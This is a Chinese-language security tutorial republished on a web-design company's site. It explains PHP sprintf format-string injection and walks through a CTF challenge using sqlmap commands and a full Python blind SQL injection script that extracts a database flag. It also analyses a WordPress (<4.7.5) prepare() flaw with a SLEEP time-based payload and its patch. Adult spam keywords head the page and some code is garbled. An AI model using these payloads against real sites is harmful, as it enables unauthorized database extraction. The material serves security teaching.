真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

sprintf中怎么格式化字符串漏洞

本篇文章為大家展示了sprintf中怎么格式化字符串漏洞,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。

創(chuàng)新互聯(lián)專注于河北企業(yè)網(wǎng)站建設(shè),成都響應(yīng)式網(wǎng)站建設(shè)公司,商城系統(tǒng)網(wǎng)站開發(fā)。河北網(wǎng)站建設(shè)公司,為河北等地區(qū)提供建站服務(wù)。全流程按需網(wǎng)站建設(shè),專業(yè)設(shè)計(jì),全程項(xiàng)目跟蹤,創(chuàng)新互聯(lián)專業(yè)和態(tài)度為您提供的服務(wù)

首先我們先了解sprintf()函數(shù)

sprintf() 函數(shù)把格式化的字符串寫入變量中。 

sprintf(format,arg1,arg2,arg++) arg1、arg2、++ 參數(shù)將被插入到主字符串中的百分號(hào)(%)符號(hào)處。該函數(shù)是逐步執(zhí)行的。在第一個(gè) % 符號(hào)處,插入 arg1,在第二個(gè) % 符號(hào)處,插入 arg2,依此類推。 注釋:如果 % 符號(hào)多于 arg 參數(shù),則您必須使用占位符。占位符位于 % 符號(hào)之后,由數(shù)字和 "\$" 組成。

通過(guò)幾個(gè)例子回顧一下sprintf

不帶小數(shù):%1\$u",$number); echo $txt; ?> 輸出結(jié)果: 帶有兩位小數(shù):123.00 不帶小數(shù):123

例子2: 

"; // 二進(jìn)制數(shù) echo sprintf("%%c = %c",$char)."
"; // ASCII 字符 echo sprintf("%%s = %s",$num1)."
"; // 字符串 echo sprintf("%%x = %x",$num1)."
"; // 十六進(jìn)制數(shù)(小寫) echo sprintf("%%X = %X",$num1)."
"; // 十六進(jìn)制數(shù)(大寫) ?> 輸出結(jié)果: %b = 111010110111100110100010101 %c = 2  //注意var_dump('2')為string %s = 123456789 %x = 75bcd15 %X = 75BCD15

0x02 sprintf注入原理

底層代碼實(shí)現(xiàn)

我們來(lái)看一下sprintf()的底層實(shí)現(xiàn)方法 

switch (format[inpos]) { case 's': { zend_string *t; zend_string *str = zval_get_tmp_string(tmp, &t); php_sprintf_appendstring(&result, &outpos,ZSTR_VAL(str),width, precision, padding,alignment,ZSTR_LEN(str),0, expprec, 0); zend_tmp_string_release(t); break;    }    case 'd':        php_sprintf_appendint(&result, &outpos,                              zval_get_long(tmp),                              width, padding, alignment,                              always_sign);        break;    case 'u':        php_sprintf_appenduint(&result, &outpos,                              zval_get_long(tmp),                              width, padding, alignment);        break;    case 'g':    case 'G':    case 'e':    case 'E':    case 'f':    case 'F':        php_sprintf_appenddouble(&result, &outpos,                                 zval_get_double(tmp),                                 width, padding, alignment,                                 precision, adjusting,                                 format[inpos], always_sign                                );        break;    case 'c':        php_sprintf_appendchar(&result, &outpos,                            (char) zval_get_long(tmp));        break;    case 'o':        php_sprintf_append2n(&result, &outpos,                             zval_get_long(tmp),                             width, padding, alignment, 3,                             hexchars, expprec);        break;    case 'x':        php_sprintf_append2n(&result, &outpos,                             zval_get_long(tmp),                             width, padding, alignment, 4,                             hexchars, expprec);        break;    case 'X':        php_sprintf_append2n(&result, &outpos,                             zval_get_long(tmp),                             width, padding, alignment, 4,                             HEXCHARS, expprec);        break;    case 'b':        php_sprintf_append2n(&result, &outpos,                             zval_get_long(tmp),                             width, padding, alignment, 1,                             hexchars, expprec);        break;    case '%':        php_sprintf_appendchar(&result, &outpos, '%');        break;    default:        break; }

可以看到, php源碼中只對(duì)15種類型做了匹配, 其他字符類型都直接break了,php未做任何處理,直接跳過(guò),所以導(dǎo)致了這個(gè)問(wèn)題: 沒做字符類型檢測(cè)的最大危害就是它可以吃掉一個(gè)轉(zhuǎn)義符\, 如果%后面出現(xiàn)一個(gè)\,那么php會(huì)把\當(dāng)作一個(gè)格式化字符的類型而吃掉\, 最后%\(或%1$\)被替換為空 因此sprintf注入,或者說(shuō)php格式化字符串注入的原理為: 要明白%后的一個(gè)字符(除了%,%上面表格已經(jīng)給出了)都會(huì)被當(dāng)作字符型類型而被吃掉,也就是被當(dāng)作一個(gè)類型進(jìn)行匹配后面的變量,比如%c匹配asciii碼,%d匹配整數(shù),如果不在定義的也會(huì)匹配,匹配空,比如%\,這樣我們的目的只有一個(gè),使得單引號(hào)逃逸,也就是能夠起到閉合的作用。

這里我們舉兩個(gè)例子

NO.1

不使用占位符號(hào) 

echo sprintf("select * from user where username = '%\' and 1=1#';", "admin"); //此時(shí)%\回去匹配admin字符串,但是%\只會(huì)匹配空 運(yùn)行后的結(jié)果 select * from user where username = '' and 1=1#'

NO.2

使用占位符號(hào) 

對(duì)于這個(gè)問(wèn)題,我們還可以這樣寫 

$sql = sprintf ("SELECT * FROM table WHERE a='%1$\' AND b='%d' and 1=1#' ",'admin'); //result: SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

第一個(gè)格式化處匹配時(shí)為空,會(huì)讓給后面的格式化匹配 以上兩個(gè)例子是吃掉'\'來(lái)使得單引號(hào)逃逸出來(lái) 下面這個(gè)例子我們構(gòu)造單引號(hào)

NO.3

對(duì)%c進(jìn)行利用 

%c起到了類似chr()的效果,將數(shù)字39轉(zhuǎn)化為‘,從而導(dǎo)致了sql注入。 所以結(jié)果為: 

SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39

小結(jié)

漏洞利用條件 1. sql語(yǔ)句進(jìn)行了字符拼接 2. 拼接語(yǔ)句和原sql語(yǔ)句都用了vsprintf/sprintf 函數(shù)來(lái)格式化字符串 

ps: MySQL> SELECT ascii('\''); +-------------+ | ascii('\'') | +-------------+ |          39 | +-------------+

0x03 題目訓(xùn)練

一道注入題目

sprintf中怎么格式化字符串漏洞

形式很像SQL注入,而且題目中提示為SQLI 先試了一下弱口令,確定username為admin 那么就對(duì)username與password進(jìn)行注入,開始普通注入,二次解碼,寬字節(jié),過(guò)濾空格,過(guò)濾關(guān)鍵字等姿勢(shì)進(jìn)行構(gòu)造注入語(yǔ)句都無(wú)果,而且還耗費(fèi)大量的時(shí)間,不過(guò)后來(lái)get到一種姿勢(shì),使用burpsuit的intruder跑一下,來(lái)查看那些字母或者字符沒有被過(guò)濾掉(waf字典) 后來(lái)發(fā)現(xiàn)%可疑,于是拿出來(lái)repeater一下

sprintf中怎么格式化字符串漏洞

sprintf函數(shù)出錯(cuò),那么sprintf是什么,格式化字符串,于是乎就懂得其中的原理了,是其單引號(hào)逃逸 構(gòu)造username=admin%1$\' and 1=2# 與 username=admin%1$\' and 1=1# 發(fā)現(xiàn)如下的結(jié)果

sprintf中怎么格式化字符串漏洞

sprintf中怎么格式化字符串漏洞

可以發(fā)現(xiàn)'后面的語(yǔ)句帶入執(zhí)行了,這就是注入點(diǎn),使用sqlmap跑一下 事先抓取post包



python sqlmap.py -r 3.txt -p username --level 3 --dbs --thread 10

sprintf中怎么格式化字符串漏洞

于是對(duì)ctf進(jìn)行跑tables 得到

sprintf中怎么格式化字符串漏洞

對(duì)flag跑columns 得到

sprintf中怎么格式化字符串漏洞

對(duì)每個(gè)列進(jìn)行dump但是dump下來(lái)不對(duì),找了一波原因沒有找到,開始用腳本跑 跑完后才發(fā)現(xiàn)sqlmap跑出來(lái)的列不對(duì),應(yīng)該是flag,于是



python sqlmap.py -r 3.txt -p username --level 3 -D ctf -T flag -C flag --dump --thread 10

才得到正確結(jié)果 :)  下面是腳本跑的

sprintf中怎么格式化字符串漏洞

做實(shí)驗(yàn)

利用sqlmap進(jìn)行POST注入

http://hetianlab.com/expc.do?ce=1336a6fb-7b18-4dd6-8a6d-b9a7ae92f73d

(了解sqlmap,掌握sqlmap的常用命令,學(xué)會(huì)使用sqlmap進(jìn)行POST注入攻擊)

中心思想

先判斷l(xiāng)ength 然后使用ascii判斷字母 ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#" 使用這個(gè)語(yǔ)句進(jìn)行判斷 涉及到的一些知識(shí)點(diǎn):

sprintf中怎么格式化字符串漏洞

sprintf中怎么格式化字符串漏洞

sprintf中怎么格式化字符串漏洞

代碼

#coding:utf-8 import requests import string def boom():    url = r'http://f6f0cdc51f8141a6b1a8634161859c1c78499dc70eea47f0.game.ichunqiu.com/'    s = requests.session()    //會(huì)話對(duì)象requests.Session能夠跨請(qǐng)求地保持某些參數(shù),比如cookies,即在同一個(gè)Session實(shí)例發(fā)出的所有請(qǐng)求都保持同一個(gè)cookies,而requests模塊每次會(huì)自動(dòng)處理cookies,這樣就很方便地處理登錄時(shí)的cookies問(wèn)題。    dic = string.digits + string.letters + "!@#$%^&*()_+{}-="    right = 'password error!'    error = 'username error!'    lens = 0    i = 0    //確定當(dāng)前數(shù)據(jù)庫(kù)的長(zhǎng)度    while True:        payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"        data={'username':payload,'password':1}        r = s.post(url,data=data).content        if error in r:            lens=i            break        i+=1        pass    print("[+]length(database()): %d" %(lens))    //確定當(dāng)前數(shù)據(jù)庫(kù)的名字    strs=''    for i in range(lens+1):        for c in dic:            payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"            data = {'username':payload,'password':1}            r = s.post(url,data=data).content            if right in r:                strs = strs + c                print strs                break        pass    pass    print("[+]database():%s" %(strs))    lens=0    i = 1    while True:        payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"        //對(duì)當(dāng)前的數(shù)據(jù)庫(kù),查詢第一個(gè)表的長(zhǎng)度        data = {'username':payload,'password':1}        r = s.post(url,data=data).content        if error in r:            lens = i            break        i+=1        pass    print("[+]length(table): %d" %(lens))    strs=''    for i in range(lens+1):        for c in dic:            payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"            // 數(shù)字一定要str才可以傳入            data = {'username':payload,'password':1}            r = s.post(url,data=data).content            if right in r:                strs = strs + c                print strs                break        pass    pass    print("[+]table_name:%s" %(strs))    tablename = '0x' + strs.encode('hex')    //編碼為16進(jìn)制    table_name = strs    lens=0    i = 0    while True:        payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"        data = {'username':payload,'password':1}        r = s.post(url,data=data).content        if error in r:            lens = i            break        i+=1        pass    print("[+]length(column): %d" %(lens))    strs=''    for i in range(lens+1):        for c in dic:            payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"            data = {'username':payload,'password':1}            r = s.post(url,data=data).content            if right in r:                strs = strs + c                print strs                break        pass    pass    print("[+]column_name:%s" %(strs))    column_name = strs    num=0    i = 0    while True:        payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"        data = {'username':payload,'password':1}        r = s.post(url,data=data).content        if error in r:            num = i            break        i+=1        pass    print("[+]number(column): %d" %(num))    lens=0    i = 0    while True:        payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"        data = {'username':payload,'password':1}        r = s.post(url,data=data).content        if error in r:            lens = i            break        i+=1        pass    print("[+]length(value): %d" %(lens))    i=1        strs=''    for i in range(lens+1):        for c in dic:            payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"            data = {'username':payload,'password':'1'}            r = s.post(url,data=data).content            if right in r:                strs = strs + c                print strs                break        pass    pass    print("[+]flag:%s" %(strs)) if __name__ == '__main__':    boom()    print 'Finish!'


>>結(jié)果 %1$\' and 1=1# AND b='%1$\' and 1=1#' select * from t where a='admin' AND b='' and 1=1#'

格式字符%后面會(huì)吃掉一個(gè)\即%1$\被替換為空,逃逸出來(lái)一個(gè)單引號(hào),造成注入.

0x04 Wordpress格式化字符串漏洞

漏洞跟蹤

wordpress版本小于4.7.5在后臺(tái)圖片刪除的地方存在一處格式化字符串漏洞 官方在4.7.6已經(jīng)給出了補(bǔ)救辦法 在我們即將要說(shuō)的地方增加了這么一端代碼 

$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents

只允許 %后面出現(xiàn)dsF 這三種字符類型, 其他字符類型都替換為%%\1, 而且還禁止了%, $ 這種參數(shù)定位 首先 我們找到upload.php 可以發(fā)現(xiàn)在deleta中 $post_id_del(比如int()) 未經(jīng)過(guò)處理,直接傳入 

case 'delete':    if ( !isset( $post_ids ) )        break;    foreach ( (array) $post_ids as $post_id_del ) {        if ( !current_user_can( 'delete_post', $post_id_del ) ) //跟進(jìn)            wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );        if ( !wp_delete_attachment( $post_id_del ) )            wp_die( __( 'Error in deleting.' ) );    }    $location = add_query_arg( 'deleted', count( $post_ids ), $location );    break;

跟進(jìn)wp_delete_attachment( )函數(shù) 其中參數(shù)$post_id_del為圖片的postid wp_delete_attachment( )中 調(diào)用了delete_metadata 函數(shù) 

function wp_delete_attachment( $post_id, $force_delete = false ) { ....... delete_metadata( 'post', null, '_thumbnail_id', $post_id, true ); // delete all for any posts. ...... }

繼續(xù)跟進(jìn)delete_metadata函數(shù) 漏洞觸發(fā)點(diǎn)主要在wp-includes/meta.php 的 delete_metadata函數(shù)里面, 有如下代碼: 

if ( $delete_all ) {    $value_clause = '';    if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {        $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value );    }    $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) ); }

調(diào)用了兩個(gè)prepare函數(shù) 跟進(jìn)prepare函數(shù) 

public function prepare( $query, $args ) {    if ( is_null( $query ) )        return;    // This is not meant to be foolproof -- but it will catch obviously incorrect usage.    if ( strpos( $query, '%' ) === false ) {        _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' ); }    $args = func_get_args();    array_shift( $args );    // If args were passed as an array (as in vsprintf), move them up    if ( isset( $args[0] ) && is_array($args[0]) )        $args = $args[0];    $query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it    $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting    $query = preg_replace( '|(?

詳細(xì)看prepare函數(shù)對(duì)傳入?yún)?shù)的處理過(guò)程 首先對(duì)%s進(jìn)行處理 

$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it    $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting    $query = preg_replace( '|(?

把'%s'替換為%s,然后再把"%s"替換成%s,替換為浮點(diǎn)數(shù)%F 把%s替換成'%s' 最后再進(jìn)行vsprintf( $query, $args ); 對(duì)拼接的語(yǔ)句進(jìn)行格式化處理 我們一步步分析 假設(shè)傳入的$meta_value為'admin'  

$wpdb->prepare( " AND meta_value = %s", $meta_value );

經(jīng)過(guò)prepare函數(shù)處理后得到 

vsprintf( " AND meta_value = '%s'",'admin') =>  AND meta_value = 'admin'

return到上一級(jí)函數(shù)后,繼續(xù)執(zhí)行這一條拼接語(yǔ)句: 

$wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key )

經(jīng)過(guò)prepare函數(shù)處理后得到 

vsprintf( "SELECT $type_column FROM $table WHERE meta_key = '%s'  AND meta_value = 'admin'",'admin') => SELECT $type_column FROM $table WHERE meta_key = 'admin'  AND meta_value = 'admin'

看起來(lái)一切都很正常,毫無(wú)bug 但是我們可以思考一下,怎樣使其形成注入呢?s> 或者說(shuō)怎樣逃逸一個(gè)單引號(hào)? 在之前我們先看一下,可控變量 $post_id_del 的路線 

$post_id_del => $post_id => $meta_value => $args => $query

顯然這里面兩處admin都有單引號(hào),而且兩處都與 $post_id_del 聯(lián)系,如何來(lái)選擇? 對(duì)于第一處單引號(hào) 它是通過(guò)一次替換處理得到的,顯然是對(duì)單引號(hào)>無(wú)法處理 對(duì)于第二處單引號(hào) 經(jīng)過(guò)兩次的替換,(這里的意思是執(zhí)行了兩次的替換代碼,可能第二段代碼對(duì)他沒有起到實(shí)質(zhì)性的作用,僅僅是去點(diǎn)單引號(hào)然后又加上單引號(hào)) 但是這一出經(jīng)過(guò)了兩次處理是必須的,那么我們是否能夠是構(gòu)造出另一個(gè)單引號(hào)(此時(shí)第二處有三個(gè)單引號(hào))就可以閉合前面的單引號(hào)了 最重要的是,第二次的替換處理的變量是可控的,因此要引入單引號(hào),我們需要$meta_value含有%s 那么第一次的結(jié)果為 

AND meta_value = 'X%sY'(其中XY為未知量) //這里需要注意,為什么%s不被單引號(hào)圍起來(lái),我看過(guò)一篇博客,它是寫的'%s',這顯然是錯(cuò)的,為什么呢?我們生成了'%s'是沒錯(cuò),不過(guò)還原一下過(guò)程就知道了,首先我們生成了AND meta_value = '%s',注意此時(shí)與$meta_value沒有半毛錢關(guān)系,后來(lái)的vsprintf后,才與$meta_value有了關(guān)系,原來(lái)的%s被替換成了X%sY,值得注意的是這里的%s沒有經(jīng)過(guò)任何處理,處理是在第二輪進(jìn)行的,這是后話。

第二次后的結(jié)果為 

SELECT $type_column FROM $table WHERE meta_key = 'admin'  AND meta_value = 'X'%s'Y' (對(duì)于第二處的%s我們先不要帶入格式化后的值,其實(shí)真實(shí)的語(yǔ)句應(yīng)該為: SELECT $type_column FROM $table WHERE meta_key = 'admin'  AND meta_value = 'X'admin'Y')

分析到這里,相信大家應(yīng)該知道傳值($meta_value)使單引號(hào)逃逸出來(lái)了吧 admin顯然是多余的,那么我們需要把它放在單引號(hào)里面,因此第二個(gè)單引號(hào)需要去掉,那么第四個(gè)單引號(hào)需要注釋掉,這就很輕而易舉地構(gòu)造sql語(yǔ)句 AND meta_value = 'Xadmin'Y Y里面就是我們注入的代碼

漏洞利用

怎么去傳值呢? 利用格式化字符串漏洞 去掉第二個(gè)單引號(hào)就需要使該單引號(hào)成為%后的第一個(gè)字符,也就是%',但是我們還需要一個(gè)占位符,%1$' 這樣就沒有報(bào)錯(cuò)的去掉了該單引號(hào) 所以我們構(gòu)造的payload為 

$meta_value = %1$%s AND SLEEP(5)# => AND meta_value = '%1$%s AND SLEEP(5)' => "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = AND meta_value = '%1$'%s' AND SLEEP(5)#'",'admin' 其中 %1$' => 空 => SELECT $type_column FROM $table WHERE meta_key = 'admin'  AND meta_value = AND meta_value = 'admin' AND SLEEP(5)#' 成功利用該漏洞形成時(shí)間注入

漏洞修補(bǔ)

現(xiàn)在我們說(shuō)一下第四部分開頭的補(bǔ)救方法 后來(lái)官方在prepare函數(shù)加了這一代碼 

$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents

只允許 %后面出現(xiàn)dsF 這三種字符類型, 其他字符類型都替換為%%\1, 而且還禁止了%, $ 這種參數(shù)定位

上述內(nèi)容就是sprintf中怎么格式化字符串漏洞,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。


網(wǎng)頁(yè)標(biāo)題:sprintf中怎么格式化字符串漏洞
URL標(biāo)題:http://weahome.cn/article/jdspsp.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部